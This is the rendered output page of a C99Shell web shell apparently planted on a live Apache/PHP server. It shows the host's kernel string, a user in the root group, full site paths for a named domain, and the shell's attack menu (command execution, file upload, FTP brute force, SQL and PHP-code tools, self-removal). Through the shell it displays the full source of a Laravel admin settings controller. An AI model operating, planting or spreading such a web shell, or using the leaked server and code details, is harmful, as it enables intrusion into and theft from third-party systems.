!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Controllers/Admin/Setting/   drwxr-xr-x
Free 28.28 GB of 117.98 GB (23.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GeneralSettingController.php (8.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin\Setting;

use 
App\Http\Controllers\Controller;
use 
App\Models\Setting;
use 
App\Models\Timezone;
use 
App\Services\Admin\Settings\AppConfigService;
use 
App\Services\Admin\Settings\BroadcastUpdateService;
use 
App\Services\Admin\Settings\RecaptchaUpdateService;
use 
App\Services\Admin\Settings\WatermarkUpdateService;
use 
Illuminate\Http\RedirectResponse;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Artisan;
use 
Modules\Currency\Entities\Currency;
use 
Modules\SetupGuide\Entities\SetupGuide;

class 
GeneralSettingController extends Controller
{
    public function 
__construct()
    {
        
$this->middleware('access_limitation')->only([
            
'appConfigUpdate',
            
'watermarkUpdate',
            
'recaptchaUpdate',
            
'broadcastingUpdate',
        ]);
    }

    
/**
     * General Settings View
     *
     * @return void
     */
    
public function general()
    {
        
$setting Setting::first();

        return 
view('admin.settings.pages.general.basic'compact('setting'));
    }

    
/**
     * Website Data Update.
     *
     * @return RedirectResponse
     */
    
public function generalUpdate(Request $request)
    {
        
$request->validate([
            
'name' => ['required'],
            
'logo_image' => ['nullable''mimes:png,jpg,svg,jpeg''max:3072'],
            
'white_logo' => ['nullable''mimes:png,jpg,svg,jpeg''max:3072'],
            
'favicon_image' => ['nullable''mimes:png,ico''max:1024'],
            
// 'app_pwa_icon' => ['nullable', 'mimes:png,jpg,jpeg'],
        
]);
        try {
            if (
$request->name && $request->name != config('app.name')) {
                
replaceAppName('APP_NAME'$request->name);
            }

            
$setting Setting::first();
            if (
$request->hasFile('logo_image')) {
                
$setting['logo_image'] = uploadFileToPublic($request->logo_image'app/logo');
                
deleteFile($setting->logo_image);
            }

            if (
$request->hasFile('white_logo')) {
                
$setting['white_logo'] = uploadFileToPublic($request->white_logo'app/logo');
                
deleteFile($setting->white_logo);
            }

            if (
$request->hasFile('favicon_image')) {
                
$setting['favicon_image'] = uploadFileToPublic($request->favicon_image'app/logo');
                
deleteFile($setting->favicon_image);
            }

            if (
$request->hasFile('app_pwa_icon')) {
                
$setting['app_pwa_icon'] = uploadFileToPublic($request->app_pwa_icon'app/logo');
                
deleteFile($setting->app_pwa_icon);
            }

            
$setting->save();
            
SetupGuide::where('task_name''app_setting')->update(['status' => 1]);

            return 
back()->with('success''Website setting updated successfully!');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * App Configuration Settings View
     *
     * @return void
     */
    
public function appConfig()
    {
        try {
            
$timezones Timezone::all();
            
$setting Setting::first();
            
$currencies Currency::all();

            return 
view('admin.settings.pages.general.app'compact('timezones''setting''currencies'));
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * App Configuration Settings Update
     *
     * @return RedirectResponse
     */
    
public function appConfigUpdate(Request $requestAppConfigService $appConfigService)
    {
        try {
            
$appConfigService->update($request);

            
flashSuccess('App Configuration Updated!');

            return 
redirect()->back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Watermark Configuration Settings View
     *
     * @return void
     */
    
public function watermark()
    {
        try {
            return 
view('admin.settings.pages.general.watermark-ads');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Watermark Configuration Settings Update
     *
     * @return void
     */
    
public function watermarkUpdate(Request $requestWatermarkUpdateService $watermarkUpdateService)
    {
        try {
            
$watermarkUpdateService->update($request);

            
flashSuccess('Watermark data updated !');

            return 
redirect()->back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * App Configuration Settings View
     *
     * @return void
     */
    
public function recaptcha()
    {
        try {
            return 
view('admin.settings.pages.general.recaptcha');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    public function 
recaptchaUpdate(Request $requestRecaptchaUpdateService $recaptchaUpdateService)
    {
        try {
            
$recaptchaUpdateService->update($request);

            
sleep(2);
            
Artisan::call('cache:clear');

            
flashSuccess('Recaptcha Configuration updated!');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Broadcast Settings View
     *
     * @return void
     */
    
public function broadcasting()
    {
        try {
            return 
view('admin.settings.pages.general.broadcast');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Broadcast Settings Update
     *
     * @return RedirectResponse
     */
    
public function broadcastingUpdate(Request $requestBroadcastUpdateService $broadcastUpdateService)
    {
        try {
            
$broadcastUpdateService->update($request);

            
SetupGuide::where('task_name''pusher_setting')->update(['status' => 1]);

            
flashSuccess('Pusher Configuration updated!');

            return 
back();
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * PWA Settings View
     *
     * @return void
     */
    
public function pwa()
    {
        try {
            
$setting Setting::first();

            return 
view('admin.settings.pages.general.pwa'compact('setting'));
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * PWA Settings Data Update.
     *
     * @return RedirectResponse
     */
    
public function pwaUpdate(Request $request)
    {
        
$request->validate([
            
'app_pwa_icon' => ['nullable''mimes:png,jpg,jpeg'],
        ]);
        try {
            
$setting Setting::first();

            if (
$request->hasFile('app_pwa_icon')) {
                
$setting['app_pwa_icon'] = uploadFileToPublic($request->app_pwa_icon'app/logo');
                
deleteFile($setting->app_pwa_icon);
            }

            
// for pwa_enable
            
$setting['pwa_enable'] = $request->pwa_enable;

            if (
$request->pwa_enable) {
                
$this->updateManifest($setting);
            }

            
$setting->save();
            
SetupGuide::where('task_name''app_setting')->update(['status' => 1]);

            return 
back()->with('success''PWA setting updated successfully!');
        } catch (
\Exception $e) {
            
flashError('An error occurred: '.$e->getMessage());

            return 
back();
        }
    }

    
/**
     * Update manifest.json file
     *
     * @return void
     */
    
private function updateManifest($setting)
    {
        
$manifest = [

            
'name' => config('app.name'),
            
'short_name' => config('app.name'),
            
'start_url' => route('frontend.index'),
            
'background_color' => $setting->frontend_primary_color,
            
'description' => config('app.name'),
            
'display' => 'fullscreen',
            
'theme_color' => $setting->frontend_primary_color,
            
'icons' => [
                [
                    
'src' => $setting->app_pwa_icon_url,
                    
'sizes' => '512x512',
                    
'type' => 'image/png',
                    
'purpose' => 'any maskable',
                ],
            ],
        ];

        
file_put_contents(public_path('manifest.json'), json_encode($manifest));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--